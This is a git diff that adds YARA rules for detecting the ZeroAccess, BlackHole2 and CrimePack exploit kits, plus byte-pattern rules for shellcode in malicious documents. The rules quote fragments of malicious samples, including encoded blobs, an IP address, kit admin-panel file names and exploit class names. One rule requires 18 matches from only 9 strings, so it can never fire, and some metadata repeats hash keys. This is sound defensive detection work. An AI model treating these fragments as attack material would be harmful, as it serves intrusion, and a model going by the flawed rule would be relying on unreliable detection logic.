+rule zeroaccess_css
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "ZeroAccess Exploit Kit Detection"
+	hash0 = "4944324bad3b020618444ee131dce3d0"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "close-mail{right:130px "
+	$string1 = "ccc;box-shadow:0 0 5px 1px "
+	$string2 = "757575;border-bottom:1px solid "
+	$string3 = "777;height:1.8em;line-height:1.9em;display:block;float:left;padding:1px 15px;margin:0;text-shadow:-1"
+	$string4 = "C4C4C4;}"
+	$string5 = "999;-webkit-box-shadow:0 0 3px "
+	$string6 = "header div.service-links ul{display:inline;margin:10px 0 0;}"
+	$string7 = "t div h2.title{padding:0;margin:0;}.box5-condition-news h2.pane-title{display:block;margin:0 0 9px;p"
+	$string8 = "footer div.comp-info p{color:"
+	$string9 = "pcmi-listing-center .full-page-listing{width:490px;}"
+	$string10 = "pcmi-content-top .photo img,"
+	$string11 = "333;}div.tfw-header a var{display:inline-block;margin:0;line-height:20px;height:20px;width:120px;bac"
+	$string12 = "ay:none;text-decoration:none;outline:none;padding:4px;text-align:center;font-size:9px;color:"
+	$string13 = "333;}body.page-videoplayer div"
+	$string14 = "373737;position:relative;}body.node-type-video div"
+	$string15 = "pcmi-content-sidebara,.page-error-page "
+	$string16 = "fff;text-decoration:none;}"
+	$string17 = "qtabs-list li a,"
+	$string18 = "cdn2.dailyrx.com"
+condition:
+	18 of them
+}
+
+rule zeroaccess_css2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "ZeroAccess Exploit Kit Detection"
+	hash0 = "e300d6a36b9bfc3389f64021e78b1503"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "er div.panel-hide{display:block;position:absolute;z-index:200;margin-top:-1.5em;}div.panel-pane div."
+	$string1 = "ve.gif) right center no-repeat;}div.ctools-ajaxing{float:left;width:18px;background:url(http://cdn3."
+	$string2 = "cdn2.dailyrx.com"
+	$string3 = "efefef;margin:5px 0 5px 0;}"
+	$string4 = "node{margin:0;padding:0;}div.panel-pane div.feed a{float:right;}"
+	$string5 = ":0 5px 0 0;float:left;}div.tweets-pulled-listing div.tweet-authorphoto img{max-height:40px;max-width"
+	$string6 = "i a{color:"
+	$string7 = ":bold;}div.tweets-pulled-listing .tweet-time a{color:silver;}div.tweets-pulled-listing  div.tweet-di"
+	$string8 = "div.panel-pane div.admin-links{font-size:xx-small;margin-right:1em;}div.panel-pane div.admin-links l"
+	$string9 = "div.tweets-pulled-listing ul{list-style:none;}div.tweets-pulled-listing div.tweet-authorphoto{margin"
+	$string10 = "FFFFDD none repeat scroll 0 0;border:1px solid "
+	$string11 = "vider{clear:left;border-bottom:1px solid "
+condition:
+	11 of them
+}
+
+rule zeroaccess_htm
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "ZeroAccess Exploit Kit Detection"
+	hash0 = "0e7d72749b60c8f05d4ff40da7e0e937"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "screen.height:"
+	$string1 = "</script></head><body onload"
+	$string2 = "Fx0ZAQRKXUVgbh0qNDRJVxYwGg4tGh8aHQoAVQQSNyo0NElXFjAaDi0NFQYESl1FBBNnTFoSPiBmADwnPTQxPSdKWUUEE2UcGR0z"
+	$string3 = "0);-10<b"
+	$string4 = "function fl(){var a"
+	$string5 = "0);else if(navigator.mimeTypes"
+	$string6 = ");b.href"
+	$string7 = "/presults.jsp"
+	$string8 = "128.164.107.221"
+	$string9 = ")[0].clientWidth"
+	$string10 = "presults.jsp"
+	$string11 = ":escape(c),e"
+	$string12 = "navigator.plugins.length)navigator.plugins["
+	$string13 = "window;d"
+	$string14 = "gr(),j"
+	$string15 = "VIEWPORT"
+	$string16 = "FQV2D0ZAH1VGDxgZVg9COwYCAwkcTzAcBxscBFoKAAMHUFVuWF5EVVYVdVtUR18bA1QdAU8HQjgeUFYeAEZ4SBEcEk1FTxsdUlVA"
+condition:
+	16 of them
+}
+
+rule zeroaccess_js
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "ZeroAccess Exploit Kit Detection"
+	hash0 = "a9f30483a197cfdc65b4a70b8eb738ab"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "Square ad tag  (tile"
+	$string1 = "  adRandNum "
+	$string2 = " cellspacing"
+	$string3 = "\\n//-->\\n</script>"
+	$string4 = "format"
+	$string5 = "//-->' "
+	$string6 = "2287974446"
+	$string7 = "NoScrBeg "
+	$string8 = "-- start adblade -->' "
+	$string9 = "3427054556"
+	$string10 = "        while (i >"
+	$string11 = "return '<table width"
+	$string12 = "</scr' "
+	$string13 = " s.substring(0, i"
+	$string14 = " /></a></noscript>' "
+	$string15 = "    else { isEmail "
+	$string16 = ").submit();"
+	$string17 = " border"
+	$string18 = "pub-8301011321395982"
+condition:
+	18 of them
+}
+
+rule zeroaccess_js2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "ZeroAccess Exploit Kit Detection"
+	hash0 = "b5fda04856b98c254d33548cc1c1216c"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "ApiClientConfig"
+	$string1 = "function/.test(pa.toString())"
+	$string2 = "background-image:url(http:\\/\\/static.ak.fbcdn.net\\/rsrc.php\\/v2\\/y6\\/x\\/s816eWC-2sl.gif)}"
+	$string3 = "Music.init"
+	$string4 = "',header:'bool',recommendations:'bool',site:'hostname'},create_event_button:{},degrees:{href:'url'},"
+	$string5 = "cca6477272fc5cb805f85a84f20fca1d"
+	$string6 = "document.createElement('form');c.action"
+	$string7 = "javascript:false"
+	$string8 = "s.onMessage){j.error('An instance without whenReady or onMessage makes no sense');throw new Error('A"
+	$string9 = "NaN;}else h"
+	$string10 = "sprintf"
+	$string11 = "window,j"
+	$string12 = "o.getUserID(),da"
+	$string13 = "FB.Runtime.getLoginStatus();if(b"
+	$string14 = ")');k.toString"
+	$string15 = "rovide('XFBML.Send',{Dimensions:{width:80,height:25}});"
+	$string16 = "{log:i};e.exports"
+	$string17 = "a;FB.api('/fql','GET',f,function(g){if(g.error){ES5(ES5('Object','keys',false,b),'forEach',true,func"
+	$string18 = "true;}}var ia"
+condition:
+	18 of them
+}
+
+rule zeroaccess_js3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "ZeroAccess Exploit Kit Detection"
+	hash0 = "5f13fdfb53a3e60e93d7d1d7bbecff4f"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "document.createDocumentFragment();img.src"
+	$string1 = "typeOf(events)"
+	$string2 = "var i,x,y,ARRcookies"
+	$string3 = "callbacks.length;j<l;j"
+	$string4 = "encodeURIComponent(value);if(options.domain)value"
+	$string5 = "event,HG.components.get('windowEvent_'"
+	$string6 = "'read'in Cookie){return Cookie.read(c_name);}"
+	$string7 = "item;},get:function(name,def){return HG.components.exists(name)"
+	$string8 = "){window.addEvent(windowEvents[i],function(){var callbacks"
+	$string9 = "reunload:function(callback){HG.events.add('beforeunload',callback);},add:function(event,callback){HG"
+	$string10 = "name){if(HG.components.exists(name)){delete HG.componentList[name];}}},util:{uuid:function(){return'"
+	$string11 = "window.HG"
+	$string12 = "x.replace(/"
+	$string13 = "encodeURIComponent(this.attr[key]));}"
+	$string14 = "options.domain;if(options.path)value"
+	$string15 = "this.page_sid;this.attr.user_sid"
+condition:
+	15 of them
+}
+
+rule zeroaccess_js4
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "ZeroAccess Exploit Kit Detection"
+	hash0 = "268ae96254e423e9d670ebe172d1a444"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = ").join("
+	$string1 = "JSON.stringify:function(o){if(o"
+	$string2 = "){try{var a"
+	$string3 = ");return $.jqotecache[i]"
+	$string4 = "o.getUTCFullYear(),hours"
+	$string5 = "seconds"
+	$string6 = "')');};$.secureEvalJSON"
+	$string7 = "isFinite(n);},secondsToTime:function(sec_numb){sec_numb"
+	$string8 = "')');}else{throw new SyntaxError('Error parsing JSON, source is not valid.');}};$.quoteString"
+	$string9 = "o[name];var ret"
+	$string10 = "a[m].substr(2)"
+	$string11 = ");if(d){return true;}}}catch(e){return false;}}"
+	$string12 = "a.length;m<k;m"
+	$string13 = "if(parentClasses.length"
+	$string14 = "o.getUTCHours(),minutes"
+	$string15 = "$.jqote(e,d,t),$$"
+	$string16 = "q.test(x)){e"
+	$string17 = "{};HGWidget.creator"
+condition:
+	17 of them
+}
+
+rule blackhole2_css
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "9664a16c65782d56f02789e7d52359cd"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string1 = "background:url('%%?a=img&img=countries.gif')"
+	$string2 = "background:url('%%?a=img&img=exploit.gif')"
+	$string3 = "background:url('%%?a=img&img=oses.gif')"
+	$string4 = "background:url('%%?a=img&img=browsers.gif')"
+	$string5 = "background:url('%%?a=img&img=edit.png')"
+	$string6 = "background:url('%%?a=img&img=add.png')"
+	$string7 = "background:url('%%?a=img&img=accept.png')"
+	$string8 = "background:url('%%?a=img&img=del.png')"
+	$string9 = "background:url('%%?a=img&img=stat.gif')"
+condition:
+	18 of them
+}
+
+rule blackhole2_htm
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "92e21e491a90e24083449fd906515684"
+	hash1 = "98b302a504a7ad0e3515ab6b96d623f9"
+	hash2 = "a91d885ef4c4a0d16c88b956db9c6f43"
+	hash3 = "d8336f7ae9b3a4db69317aea105f49be"
+	hash4 = "eba5daf0442dff5b249274c99552177b"
+	hash5 = "02d8e6daef5a4723621c25cfb766a23d"
+	hash6 = "dadf69ce2124283a59107708ffa9c900"
+	hash7 = "467199178ac940ca311896c7d116954f"
+	hash8 = "17ab5b85f2e1f2b5da436555ea94f859"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = ">links/</a></td><td align"
+	$string1 = ">684K</td><td>"
+	$string2 = "> 36K</td><td>"
+	$string3 = "move_logs.php"
+	$string4 = "files/"
+	$string5 = "cron_updatetor.php"
+	$string6 = ">12-Sep-2012 23:45  </td><td align"
+	$string7 = ">  - </td><td>"
+	$string8 = "cron_check.php"
+	$string9 = "-//W3C//DTD HTML 3.2 Final//EN"
+	$string10 = "bhadmin.php"
+	$string11 = ">21-Sep-2012 15:25  </td><td align"
+	$string12 = ">data/</a></td><td align"
+	$string13 = ">3.3K</td><td>"
+	$string14 = "cron_update.php"
+condition:
+	14 of them
+}
+
+rule blackhole2_htm10
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "83704d531c9826727016fec285675eb1"
+	hash1 = "103ef0314607d28b3c54cd07e954cb25"
+	hash2 = "16c002dc45976caae259d7cabc95b2c3"
+	hash3 = "fd84d695ac3f2ebfb98d3255b3a4e1de"
+	hash4 = "c7b417a4d650c72efebc2c45eefbac2a"
+	hash5 = "c3c35e465e316a71abccca296ff6cd22"
+	hash2 = "16c002dc45976caae259d7cabc95b2c3"
+	hash7 = "10ce7956266bfd98fe310d7568bfc9d0"
+	hash8 = "60024caf40f4239d7e796916fb52dc8c"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "</body></html>"
+	$string1 = "/icons/back.gif"
+	$string2 = ">373K</td><td>"
+	$string3 = "/icons/unknown.gif"
+	$string4 = ">Last modified</a></th><th><a href"
+	$string5 = "tmp.gz"
+	$string6 = ">tmp.gz</a></td><td align"
+	$string7 = "nbsp;</td><td align"
+	$string8 = "</table>"
+	$string9 = ">  - </td><td>"
+	$string10 = ">filefdc7aaf4a3</a></td><td align"
+	$string11 = ">19-Sep-2012 07:06  </td><td align"
+	$string12 = "><img src"
+	$string13 = "file3fa7bdd7dc"
+	$string14 = "  <title>Index of /files</title>"
+	$string15 = "0da49e042d"
+condition:
+	15 of them
+}
+
+rule blackhole2_htm11
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "e89b56df597688c489f06a0a6dd9efed"
+	hash1 = "06ba331ac5ae3cd1986c82cb1098029e"
+	hash2 = "a899dedb50ad81d9dbba660747828c7b"
+	hash3 = "7cbb58412554327fe8b643204a046e2b"
+	hash2 = "a899dedb50ad81d9dbba660747828c7b"
+	hash0 = "e89b56df597688c489f06a0a6dd9efed"
+	hash2 = "a899dedb50ad81d9dbba660747828c7b"
+	hash7 = "530d31a0c45b79c1ee0c5c678e242c02"
+	hash2 = "a899dedb50ad81d9dbba660747828c7b"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "></th><th><a href"
+	$string1 = "/icons/back.gif"
+	$string2 = ">Description</a></th></tr><tr><th colspan"
+	$string3 = "nbsp;</td><td align"
+	$string4 = "nbsp;</td></tr>"
+	$string5 = ">  - </td><td>"
+	$string6 = "-//W3C//DTD HTML 3.2 Final//EN"
+	$string7 = "<h1>Index of /dummy</h1>"
+	$string8 = ">Size</a></th><th><a href"
+	$string9 = " </head>"
+	$string10 = "/icons/blank.gif"
+	$string11 = "><hr></th></tr>"
+condition:
+	11 of them
+}
+
+rule blackhole2_htm12
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "0d3acb5285cfe071e30be051d2aaf28a"
+	hash1 = "6f27377115ba5fd59f007d2cb3f50b35"
+	hash2 = "f7ffe1fd1a57d337a04d3c777cddc065"
+	hash3 = "06997228f2769859ef5e4cd8a454d650"
+	hash4 = "11062eea9b7f2a2675c1e60047e8735c"
+	hash0 = "0d3acb5285cfe071e30be051d2aaf28a"
+	hash2 = "f7ffe1fd1a57d337a04d3c777cddc065"
+	hash7 = "4ec720cfafabd1c9b1034bb82d368a30"
+	hash8 = "ecd7d11dc9bb6ee842e2a2dce56edc6f"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "  <title>Index of /data</title>"
+	$string1 = "<tr><th colspan"
+	$string2 = "</body></html>"
+	$string3 = "> 20K</td><td>"
+	$string4 = "/icons/layout.gif"
+	$string5 = " <body>"
+	$string6 = ">Name</a></th><th><a href"
+	$string7 = "spn.jar"
+	$string8 = "spn2.jar"
+	$string9 = " <head>"
+	$string10 = "-//W3C//DTD HTML 3.2 Final//EN"
+	$string11 = "> 10K</td><td>"
+	$string12 = ">7.9K</td><td>"
+	$string13 = ">Size</a></th><th><a href"
+	$string14 = "><hr></th></tr>"
+condition:
+	14 of them
+}
+
+rule blackhole2_htm3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "018ef031bc68484587eafeefa66c7082"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "/download.php"
+	$string1 = "./files/fdc7aaf4a3 md5 is 3169969e91f5fe5446909bbab6e14d5d"
+	$string2 = "321e774d81b2c3ae"
+	$string3 = "/files/new00010/554-0002.exe md5 is 8a497cf4ffa8a173a7ac75f0de1f8d8b"
+	$string4 = "./files/3fa7bdd7dc md5 is 8a497cf4ffa8a173a7ac75f0de1f8d8b"
+	$string5 = "1603256636530120915 md5 is 425ebdfcf03045917d90878d264773d2"
+condition:
+	3 of them
+}
+
+rule blackhole2_htm4
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "926429bf5fe1fbd531eb100fc6e53524"
+	hash1 = "7b6cdc67077fc3ca75a54dea0833afe3"
+	hash2 = "82f108d4e6f997f8fc4cc02aad02629a"
+	hash3 = "bd819c3714dffb5d4988d2f19d571918"
+	hash4 = "9bc9f925f60bd8a7b632ae3a6147cb9e"
+	hash0 = "926429bf5fe1fbd531eb100fc6e53524"
+	hash2 = "82f108d4e6f997f8fc4cc02aad02629a"
+	hash7 = "386cb76d46b281778c8c54ac001d72dc"
+	hash8 = "0d95c666ea5d5c28fca5381bd54304b3"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "words.dat"
+	$string1 = "/icons/back.gif"
+	$string2 = "data.dat"
+	$string3 = "files.php"
+	$string4 = "js.php"
+	$string5 = "template.php"
+	$string6 = "kcaptcha"
+	$string7 = "/icons/blank.gif"
+	$string8 = "java.dat"
+condition:
+	8 of them
+}
+
+rule blackhole2_htm5
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "fccb8f71663620a5a8b53dcfb396cfb5"
+	hash1 = "a09bcf1a1bdabe4e6e7e52e7f8898012"
+	hash2 = "40db66bf212dd953a169752ba9349c6a"
+	hash3 = "25a87e6da4baa57a9d6a2cdcb2d43249"
+	hash4 = "6f4c64a1293c03c9f881a4ef4e1491b3"
+	hash0 = "fccb8f71663620a5a8b53dcfb396cfb5"
+	hash2 = "40db66bf212dd953a169752ba9349c6a"
+	hash7 = "4bdfff8de0bb5ea2d623333a4a82c7f9"
+	hash8 = "b43b6a1897c2956c2a0c9407b74c4232"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "ruleEdit.php"
+	$string1 = "domains.php"
+	$string2 = "menu.php"
+	$string3 = "browsers_stat.php"
+	$string4 = "Index of /library/templates"
+	$string5 = "/icons/unknown.gif"
+	$string6 = "browsers_bstat.php"
+	$string7 = "oses_stat.php"
+	$string8 = "exploits_bstat.php"
+	$string9 = "block_config.php"
+	$string10 = "threads_bstat.php"
+	$string11 = "browsers_bstat.php"
+	$string12 = "settings.php"
+condition:
+	12 of them
+}
+
+rule blackhole2_htm6
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "a5f94d7bdeb88b57be67132473e48286"
+	hash1 = "2e72a317d07aa1603f8d138787a2c582"
+	hash2 = "9440d49e1ed0794c90547758ef6023f7"
+	hash3 = "58265fc893ed5a001e3a7c925441298c"
+	hash2 = "9440d49e1ed0794c90547758ef6023f7"
+	hash0 = "a5f94d7bdeb88b57be67132473e48286"
+	hash2 = "9440d49e1ed0794c90547758ef6023f7"
+	hash7 = "95c6462d0f21181c5003e2a74c8d3529"
+	hash8 = "9236e7f96207253b4684f3497bcd2b3d"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "uniq1.png"
+	$string1 = "edit.png"
+	$string2 = "left.gif"
+	$string3 = "infin.png"
+	$string4 = "outdent.gif"
+	$string5 = "exploit.gif"
+	$string6 = "sem_g.png"
+	$string7 = "Index of /library/templates/img"
+	$string8 = "uniq1.png"
+condition:
+	8 of them
+}
+
+rule blackhole2_htm8
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "3f47452c1e40f68160beff4bb2a3e5f4"
+	hash1 = "1e2ba0176787088e3580dfce0245bc16"
+	hash2 = "1c78d96bb8d8f8a71294bc1e6d374b0f"
+	hash3 = "f5e16a6cd2c2ac71289aaf1c087224ee"
+	hash2 = "1c78d96bb8d8f8a71294bc1e6d374b0f"
+	hash0 = "3f47452c1e40f68160beff4bb2a3e5f4"
+	hash2 = "1c78d96bb8d8f8a71294bc1e6d374b0f"
+	hash7 = "6702efdee17e0cd6c29349978961d9fa"
+	hash8 = "287dca9469c8f7f0cb6e5bdd9e2055cd"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = ">Description</a></th></tr><tr><th colspan"
+	$string1 = ">Name</a></th><th><a href"
+	$string2 = "main.js"
+	$string3 = "datepicker.js"
+	$string4 = "form.js"
+	$string5 = "<address>Apache/2.2.15 (CentOS) Server at online-moo-viii.net Port 80</address>"
+	$string6 = "wysiwyg.js"
+condition:
+	6 of them
+}
+
+rule blackhole2_jar
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "86946ec2d2031f2b456e804cac4ade6d"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "k0/3;N"
+	$string1 = "g:WlY0"
+	$string2 = "(ww6Ou"
+	$string3 = "SOUGX["
+	$string4 = "7X2ANb"
+	$string5 = "r8L<;zYH)"
+	$string6 = "fbeatbea/fbeatbee.classPK"
+	$string7 = "fbeatbea/fbeatbec.class"
+	$string8 = "fbeatbea/fbeatbef.class"
+	$string9 = "fbeatbea/fbeatbef.classPK"
+	$string10 = "fbeatbea/fbeatbea.class"
+	$string11 = "fbeatbea/fbeatbeb.classPK"
+	$string12 = "nOJh-2"
+	$string13 = "[af:Fr"
+condition:
+	13 of them
+}
+
+rule blackhole2_jar2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "add1d01ba06d08818ff6880de2ee74e8"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "6_O6d09"
+	$string1 = "juqirvs.classPK"
+	$string2 = "hw.classPK"
+	$string3 = "a.classPK"
+	$string4 = "w.classuS]w"
+	$string5 = "w.classPK"
+	$string6 = "YE}0vCZ"
+	$string7 = "v)Q,Ff"
+	$string8 = "%8H%t("
+	$string9 = "hw.class"
+	$string10 = "a.classmV"
+	$string11 = "2CniYFU"
+	$string12 = "juqirvs.class"
+condition:
+	12 of them
+}
+
+rule blackhole2_jar3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "c7abd2142f121bd64e55f145d4b860fa"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "69/sj]]o"
+	$string1 = "GJk5Nd"
+	$string2 = "vcs.classu"
+	$string3 = "T<EssB"
+	$string4 = "1vmQmQ"
+	$string5 = "Kf1Ewr"
+	$string6 = "c$WuuuKKu5"
+	$string7 = "m.classPK"
+	$string8 = "chcyih.classPK"
+	$string9 = "hw.class"
+	$string10 = "f';;;;{"
+	$string11 = "vcs.classPK"
+	$string12 = "Vbhf_6"
+condition:
+	12 of them
+}
+
+rule blackhole2_pdf
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "d1e2ff36a6c882b289d3b736d915a6cc"
+	sample_filetype = "pdf"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "/StructTreeRoot 5 0 R/Type/Catalog>>"
+	$string1 = "0000036095 00000 n"
+	$string2 = "http://www.xfa.org/schema/xfa-locale-set/2.1/"
+	$string3 = "subform[0].ImageField1[0])/Subtype/Widget/TU(Image Field)/Parent 22 0 R/F 4/P 8 0 R/T<FEFF0049006D00"
+	$string4 = "0000000026 65535 f"
+	$string5 = "0000029039 00000 n"
+	$string6 = "0000029693 00000 n"
+	$string7 = "%PDF-1.6"
+	$string8 = "27 0 obj<</Subtype/Type0/DescendantFonts 28 0 R/BaseFont/KLGNYZ"
+	$string9 = "0000034423 00000 n"
+	$string10 = "0000000010 65535 f"
+	$string11 = ">stream"
+	$string12 = "/Pages 2 0 R%/StructTreeRoot 5 0 R/Type/Catalog>>"
+	$string13 = "19 0 obj<</Subtype/Type1C/Length 23094/Filter/FlateDecode>>stream"
+	$string14 = "0000003653 00000 n"
+	$string15 = "0000000023 65535 f"
+	$string16 = "0000028250 00000 n"
+	$string17 = "iceRGB>>>>/XStep 9.0/Type/Pattern/TilingType 2/YStep 9.0/BBox[0 0 9 9]>>stream"
+	$string18 = "<</Root 1 0 R>>"
+condition:
+	18 of them
+}
+/*
+rule maldoc_indirect_function_call_1 : maldoc
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {FF 75 ?? FF 55 ??}
+    condition:
+        for any i in (1..#a): (uint8(@a[i] + 2) == uint8(@a[i] + 5))
+}
+*/
+/*
+rule maldoc_indirect_function_call_2 : maldoc
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ??}
+    condition:
+        for any i in (1..#a): ((uint8(@a[i] + 2) == uint8(@a[i] + 8)) and (uint8(@a[i] + 3) == uint8(@a[i] + 9)) and (uint8(@a[i] + 4) == uint8(@a[i] + 10)) and (uint8(@a[i] + 5) == uint8(@a[i] + 11)))
+}
+*/
+/*
+rule maldoc_indirect_function_call_3 : maldoc
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {FF B7 ?? ?? ?? ?? FF 57 ??}
+    condition:
+        $a
+}
+*/
+
+rule maldoc_find_kernel32_base_method_1 : maldoc
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {64 8B (05|0D|15|1D|25|2D|35|3D) 30 00 00 00}
+        $a2 = {64 A1 30 00 00 00}
+    condition:
+        any of them
+}
+
+rule maldoc_find_kernel32_base_method_2 : maldoc
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {31 ?? ?? 30 64 8B ??}
+    condition:
+        for any i in (1..#a): ((uint8(@a[i] + 1) >= 0xC0) and (((uint8(@a[i] + 1) & 0x38) >> 3) == (uint8(@a[i] + 1) & 0x07)) and ((uint8(@a[i] + 2) & 0xF8) == 0xA0) and (uint8(@a[i] + 6) <= 0x3F) and (((uint8(@a[i] + 6) & 0x38) >> 3) != (uint8(@a[i] + 6) & 0x07)))
+}
+
+rule maldoc_find_kernel32_base_method_3 : maldoc
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {68 30 00 00 00 (58|59|5A|5B|5C|5D|5E|5F) 64 8B ??}
+    condition:
+        for any i in (1..#a): (((uint8(@a[i] + 5) & 0x07) == (uint8(@a[i] + 8) & 0x07)) and (uint8(@a[i] + 8) <= 0x3F) and (((uint8(@a[i] + 8) & 0x38) >> 3) != (uint8(@a[i] + 8) & 0x07)))
+}
+
+rule mwi_document: exploitdoc maldoc
+{
+    meta:
+        description = "MWI generated document"
+        author = "@Ydklijnsma"
+        source = "http://blog.0x3a.com/post/117760824504/analysis-of-a-microsoft-word-intruder-sample"
+
+      strings:
+        $field_creation_tag = "{\\field{\\*\\fldinst { INCLUDEPICTURE"
+        $mwistat_url = ".php?id="
+        $field_closing_tag = "\\\\* MERGEFORMAT \\\\d}}{\\fldrslt}}"
+
+    condition:
+        all of them
+}
+
diff --git a/yara-mikesxrs/codewatchorg/crimepack_jar.yar b/yara-mikesxrs/codewatchorg/crimepack_jar.yar
new file mode 100644
index 0000000..6b597ec
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/crimepack_jar.yar
@@ -0,0 +1,20 @@
+rule crimepack_jar
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "CrimePack Exploit Kit Detection"
+	hash0 = "d48e70d538225bc1807842ac13a8e188"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "r.JM,IM"
+	$string1 = "cpak/Crimepack$1.classPK"
+	$string2 = "cpak/KAVS.classPK"
+	$string3 = "cpak/KAVS.classmQ"
+	$string4 = "cpak/Crimepack$1.classmP[O"
+	$string5 = "META-INF/MANIFEST.MF"
+	$string6 = "META-INF/MANIFEST.MFPK"
+condition:
+	6 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/crimepack_jar3.yar b/yara-mikesxrs/codewatchorg/crimepack_jar3.yar
new file mode 100644
index 0000000..444c3b3
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/crimepack_jar3.yar
@@ -0,0 +1,25 @@
+rule crimepack_jar3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "CrimePack Exploit Kit Detection"
+	hash0 = "40ed977adc009e1593afcb09d70888c4"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "payload.serPK"
+	$string1 = "vE/JD[j"
+	$string2 = "payload.ser["
+	$string3 = "Exploit$2.classPK"
+	$string4 = "Exploit$2.class"
+	$string5 = "Ho((i/"
+	$string6 = "META-INF/MANIFEST.MF"
+	$string7 = "H5641Yk"
+	$string8 = "Exploit$1.classPK"
+	$string9 = "Payloader.classPK"
+	$string10 = "%p6$MCS"
+	$string11 = "Exploit$1$1.classPK"
+condition:
+	11 of them
+}
